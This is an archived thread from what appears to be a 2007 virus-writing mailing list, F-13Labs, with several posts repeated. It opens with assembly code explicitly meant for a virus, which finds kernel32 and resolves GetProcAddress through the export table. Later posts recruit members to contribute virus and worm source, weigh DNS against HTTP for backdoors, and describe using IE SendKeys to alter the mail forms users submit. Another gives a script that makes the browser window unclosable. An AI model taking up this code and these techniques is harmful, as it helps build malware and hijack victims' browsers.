man I read the articles and find out the ways to get the kernel32
base address on the hardcorded method and I done some GetProcAddress
search . But the problem in this is I got an exception . why was
that ?
my code is this .
First I write the code but the variables in the code segment are
read only thus I changet that segment attributes and try again
already then in I debugging on the ollydebug it faills when it scans
the 2Dh element of the export table of the Kernel32.dll what a fuck
is this ? Please help me man please ... Please ... I'm very curious
now . I just cant breath without assembly now . Please man help me
give me some drugs .
This is my source code .
------------------------------------------------code begins ------
.586
.model flat , stdcall
option casemap : none
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.code
start:
call GetDelta
GetDelta:
pop ebp
sub ebp , OFFSET GetDelta - OFFSET start
XPKernel32BaseAddress equ 77E60000h
mov eax , XPKernel32BaseAddress
call CheckForK32
cmp eax , 0000000h
jne ExitLoop
mov eax , XPKernel32BaseAddress
call GetApiAddress
;; now we are going to print a messageBox
invoke ExitProcess , 0
ExitLoop:
;; return to the host code in our virus .
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CheckForK32 proc
cmp word ptr [ eax ] , 'ZM'
jne NotFound
add eax , 3ch
mov eax , [eax]
add eax , XPKernel32BaseAddress
cmp word ptr [ eax ] , 'EP'
jne NotFound
xor eax , eax
ret
NotFound:
;; die
CheckForK32 endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
aPEHelder dd 0
aimportDir dd 0
aAddressTable dd 0
aNameTable dd 0
aOrdinalTable dd 0
nOfExports dd 0
sGetProcAddress db 'GetProcAddress' ,0
aGetProcAddress dd 0
GetApiAddress proc
;; oky now we have to get the PE real address
mov eax , [eax+3ch]
mov [ebp + (OFFSET aPEHelder - OFFSET start) ] , eax
add eax , XPKernel32BaseAddress
mov [ebp+( OFFSET aPEHelder- OFFSET start) ] , eax
;; now there is PE helder address in the eax
;; we shall play with it .
;; Then we need is the place where VA of import dir is kept
;; it is on the 78h
add eax , 78h
mov eax,dword ptr [ eax ]
add eax , XPKernel32BaseAddress
push eax
mov [ebp + (OFFSET aimportDir- OFFSET start) ] , eax
;;oky we are pointed to the import table in eax
;; oky then get the addresstableRVA
add eax , 1ch
mov eax , [eax]
add eax , XPKernel32BaseAddress
mov dword ptr [ebp + (OFFSET aAddressTable-OFFSET start)] , eax
pop eax
;; oky now we shoud have the Name PTR table
push eax
add eax , 20h
mov eax , dword ptr [eax]
add eax , XPKernel32BaseAddress
mov dword ptr [ebp + (OFFSET aNameTable - OFFSET start) ] , eax
pop eax
push eax
;;Now we should get the Ordinal table
add eax , 24h
mov eax , dword ptr [eax]
add eax , XPKernel32BaseAddress
mov dword ptr [ ebp+ ( OFFSET aOrdinalTable - OFFSET start)] ,
eax
pop eax
push eax
;; now we have to get nunber of exports
add eax , 18h
mov eax , dword ptr [eax]
mov dword ptr [ebp + (OFFSET nOfExports- OFFSET start) ] , eax
mov ecx , eax
pop eax
;; Now we have to search for the APIs , Lets go
;; we shoud put the nOfExports to the ecx oky
;; virus leavaman sanaseama laba! .
mov eax , dword ptr [ ebp + (OFFSET aNameTable - OFFSET start)]
;; now the eax is pointed to the first address of the string
name
mov edx , 0
lea esi , [ebp +(OFFSET sGetProcAddress- OFFSET start)]
mov ebx , esi
CheckNext:
push edx
shl edx , 2
add eax , edx
pop edx
mov edi , dword ptr [ eax ]
add edi , XPKernel32BaseAddress
inc edx
mov esi , ebx
CheckByte:
;; we have to compare the bytes in EDI with ESI
cmpsb
jne CheckNext
cmp byte ptr [esi] , 0
je GotIt
cmp edx , ecx
je ExitLoop ;; what a shitt this is not kernel32 what a
fuck .
jmp CheckByte
GotIt:
;; oky we now get that shitt . Oky now we have to store this
shitt
;; its on the count of edx +1
;; but in the loop it was already incremented .This is where
aAddressTable was need
mov eax , [ebp + (OFFSET aAddressTable - OFFSET start) ]
mov eax , [eax]
push edx
shl edx , 2
add eax , edx
pop edx
mov eax , [eax]
mov [ebp + (OFFSET aGetProcAddress-OFFSET start) ] , eax
xor eax , eax
xor edx , edx
ret
GetApiAddress endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
end start
--------------------------------------------------------------------
please make sure to changet the attributes on the segments to full
access in order to avoid memory access violations under ollydbg.
oky man please help me man . I just a beaganner to the assembly
langaueg and virus writing . I need to go to the hell .
by : sanzilla jackcat
sandundhammikaperera@...
From: "syngedflesh" <syngedflesh@...> Reply-To: F-13Labs@yahoogroups.com To: F-13Labs@yahoogroups.com Subject: [F-13Labs] synged flesh Date: Sat, 16 Jun 2007 16:21:19 -0000
Sup everyone? synged flesh here, checking out the forum. Moaphie get on irc or messenger sometime my emails are syngedflesh@yahoo.com or synge_dr@fastmail.fm so we can chat. :)
Sup everyone? synged flesh here, checking out the forum. Moaphie get
on irc or messenger sometime my emails are syngedflesh@... or
synge_dr@... so we can chat. :)
Just hosting the new website....I think this is the permanent domain for me. For those members who are interesting to join the domain and hosting for free..please contact me.
And i just delete some of the members not active in virus world actually...sorry. .dude...
oh the new site is very cool ! and how abt zine?? have you thought of any contents ?
ps. im sorry not to be in internet world for a while because of study hard...but im back now
From: "lclee_vx" <lclee_vx@...> Reply-To: F-13Labs@yahoogroups.com To: F-13Labs@yahoogroups.com Subject: [F-13Labs] F-13 Labs back Date: Mon, 16 Apr 2007 16:40:03 -0000
Hai,
Just hosting the new website....I think this is the permanent domain for me. For those members who are interesting to join the domain and hosting for free..please contact me.
And i just delete some of the members not active in virus world actually...sorry..dude...
Hai,
Just hosting the new website....I think this is the permanent domain
for me. For those members who are interesting to join the domain and
hosting for free..please contact me.
And i just delete some of the members not active in virus world
actually...sorry..dude...
New hosting - http://www.f13-labs.net
from lclee_vx
There is an interesting vulnerability in the default behavior of
Firefox built-in popup blocker. This vulnerability, coupled with an
additional trick, allows the attacker to read arbitrary user-
accessible files on the system, and thus steal some fairly sensitive
information.
http://www.securiteam.com/securitynews/5JP051FKKE.html
For full details.
Interesting, may be a way of planting trojan, etc...
I would use the HTTP protocol..
(just my opinon...) but then again,
I dont know much about DNS!/?
--- In F-13Labs@yahoogroups.com, "lclee_vx" <lclee_vx@...> wrote:
>
> Guy,
>
> I felt like if code the backdoor connect use DNS protocol is not
> powerful as use HTTP protocol.
>
>
>
> What say u?
>
Hai, b00t_wizard
you can send your artworks to me in text, as we just collect the
source code only..or any proof of concept in articles.
yeah..and your real "nickname" and personal website as well.
now i quite busy in study the linux virus codes. if need to contact
me, just add me in Yahoo messenger, lclee_vx
or you have any suggestion in our Ezine?
as i plan in the Ezine, i will include some artwork as below:
1. virus/worm codes
2. proof of concept
3. interview vxers
cheer,
from lclee_vx
--- In F-13Labs@yahoogroups.com, lclee_vx <lclee_vx@...> wrote:
>
> hai, b00t_wizard,
>
> Welcome to F-13, if you really interesting in virus coding. Can
you send one of the artwork to me. We really looking for the person
who enjoy the virii code/worm code. And nice to meet you too.
>
> Sorry because recently i am busy on others shit like linux
codes,injection blah blah...anyhow, i will update and add your name
in our members list. Welcome to F-13 Labs.
>
> from
> lclee_vx/F-13
>
>
>
>
>
>
> ----- Original Message ----
> From: b00t_wizard <b00t_wizard@...>
> To: F-13Labs@yahoogroups.com
> Sent: Thursday, January 4, 2007 12:58:43 PM
> Subject: [F-13Labs] New member ...just wanted to say whatsup!
>
> hey whats up all,
> I often visit vx chaos & while surfing below on his links,
> I saw the f-13labs website,
> (noticed its a virii group of somesort for coding/programming)
> I also am highly interested in coding,(as I code with vb6)
> I've written many applications, such as kiddie stuff for family,
> my current large process of an antivirus program,
> & have uploaded my first vprogram at vx chaos's website,
> I'd perfer not to say which one or so on,,,
> due to my privacy of not knowing some ppl & maybe soon enough i
will,
> the program is currently undetectable. ....
> I love the coding of virii & love collecting,
> I collect & create virii for my personal fun,
> I created my first virii & submitted it to mcafee through a sample,
> they sent me back an email saying it was undetected & that they
were
> sending it to a research lab,
> just as that,
> I am not trying in anyway to harm another persons computer system,
> (just as listed on the website)
>
> aNyWaYz...
> I'd like to chek out tha club & see how every1z doin,
> (tha activness & so on...)
> tha magazine sounds great!
> & I;d like more info on that...like how popular is it going to be
&
> whatever else.
> thanks for the invite if that was an invite & I plan on helping
out
> as much as I can & getting highly sociable with ppl in this group.
>
>
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam? Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
>
I received the letter from b00t_wizard, and we all welcome the joining
in F-13 Labs.
And sorry because recently i busy on the injection+pentest....will
back to coding soon..^-^
Welcome to F-13, if you really interesting in virus coding. Can you send one of the artwork to me. We really looking for the person who enjoy the virii code/worm code. And nice to meet you too.
Sorry because recently i am busy on others shit like linux codes,injection blah blah...anyhow, i will update and add your name in our members list. Welcome to F-13 Labs.
from
lclee_vx/F-13
----- Original Message ---- From: b00t_wizard <b00t_wizard@...> To: F-13Labs@yahoogroups.com Sent: Thursday, January 4, 2007 12:58:43 PM Subject: [F-13Labs] New member ...just wanted to say whatsup!
hey whats up all, I often visit vx chaos & while surfing below on his links, I saw the f-13labs website, (noticed its a virii group of somesort for coding/programming) I also am highly interested in coding,(as I code with vb6) I've written many applications, such as kiddie stuff for family, my current large process of an antivirus program, & have uploaded my first vprogram at vx chaos's website, I'd perfer not to say which one or so on,,, due to my privacy of not knowing some ppl & maybe soon enough i will, the program is currently undetectable. .... I love the coding of virii & love collecting, I collect & create virii for my personal fun, I created my first virii & submitted it to mcafee through a sample, they sent me back an email saying it was undetected & that they were sending it to a research lab, just as that, I am not trying in anyway to harm another persons computer system, (just
as listed on the website)
aNyWaYz... I'd like to chek out tha club & see how every1z doin, (tha activness & so on...) tha magazine sounds great! & I;d like more info on that...like how popular is it going to be & whatever else. thanks for the invite if that was an invite & I plan on helping out as much as I can & getting highly sociable with ppl in this group.
__________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com
For all the members,
One of my friend comment a lot the Ezine (which was published by other
vxer group).
hmm...i hope that we really come out something really interesting in
virus/worm, reverse engine, web security programming...
guys, noted that.
regards,
lclee_vx
nice code, but i hope that you can post some picture here...:p
--- In F-13Labs@yahoogroups.com, "samuriantarsanitari"
<samuriantarsanitari@...> wrote:
>
> Did you try to change body.innerHTML with javascript yet
> it may work on Other WebBrowser(TestedWithOpera) except IE it will
> show you
> IE cannot open the ...
> Operation Aborted
>
> Yes it will show this only remote file.
> I don't know it's an IE security or LogicalError.
>
> But U can use this code to block IE such
>
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01
Transitional//EN" "http:/
> /www.w3.org/TR/html4/loose.dtd">
> <html>
> <head>
> <meta http-equiv="Content-Type" content="text/html; charset=iso-
8859-
> 11">
> <title>BlockIE</title>
> </head>
> <body>
> The body
> </body>
> <script language="javascript">
> document.body.innerHTML+=" ";
> </script>
> </html>
>
>
>
>
> Enjoy coding.
>
raf_avp...nope...i know nothing about GO programming..may be you post
soem code here...:)
--- In F-13Labs@yahoogroups.com, "raf_avp" <raf_avp@...> wrote:
>
> hi,,~~
>
> do you know the game GO,also named wei-chi.In china,it's very
> popular.I like GO,but i like the GO programming more,especially the
AI
> sillis in the programming, guys, what about you,,,,:D
>
Did you try to change body.innerHTML with javascript yet
it may work on Other WebBrowser(TestedWithOpera) except IE it will
show you
IE cannot open the ...
Operation Aborted
Yes it will show this only remote file.
I don't know it's an IE security or LogicalError.
But U can use this code to block IE such
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http:/
/www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-
11">
<title>BlockIE</title>
</head>
<body>
The body
</body>
<script language="javascript">
document.body.innerHTML+=" ";
</script>
</html>
Enjoy coding.
in IE U can Sendkeys
Alt+D(%D) to make Address bar focused.
and send any Eng Key to check if language is English and no Caplock.
pass your script code(by SendKeys) Using "javascript:...(your own
javascript code)Line1;Line2;Line3;..."
to change mail form submit behavior such
document.mailform.submitelement.onclick
don't forget to check target document is the real target document.
such count HTMLtag (Using document.getElementsByTagName) Get Some
identify HTMLComments (Using document.body.innerHTML) Count Elements
in e-mail form etc.
if user click the submit elements you can add your own message into
mail body before submit them to the server.
after you add your own script don't forget to clear addressbar.
By send key Alt+D and Esc
Add: (Funny script for you)
with new IE security
while you use script windows.close();
it will show Yes/No DialogBox ask user such
The document trying to close the window do you want to close it?
if user Click No the windows will not Close
but if you call more of this function
such
function unclosable(){
windows.close();
unclosable();
}
unclosable();
The IE window will be unclosable
it will ask old question althought user click No or Yes.
Note: I can' use English Language fluently.
You can tell me while I make a mistake.
hi,,~~
do you know the game GO,also named wei-chi.In china,it's very
popular.I like GO,but i like the GO programming more,especially the AI
sillis in the programming, guys, what about you,,,,:D
hi,,~~
do you know the game GO,also named wei-chi.In china,it's very
popular.I like GO,but i like the GO programming more,especially the AI
sillis in the programming, guys, what about you,,,,:D
ohh...ok.
Welcome to this forum, will add samurian in our group later..and
schedule to contribute the reverse engine paper..:)
--- In F-13Labs@yahoogroups.com, "moaphie_z6" <prommas_6@...> wrote:
>
> hi lclee_vx...this guy Samurian is my classmate he's very good in
> programming,web programming,and reverse engine...i hope this guy can
> help us much !
>
hai, samur..
Sorry too late reply the messages, can give us ur:
personal website,
and codes (virus/worms..etc)
Pls send to my mailbox lclee_vx@...
cheer
--- In F-13Labs@yahoogroups.com, "samuriantarsanitari"
<samuriantarsanitari@...> wrote:
>
> i will join you!
>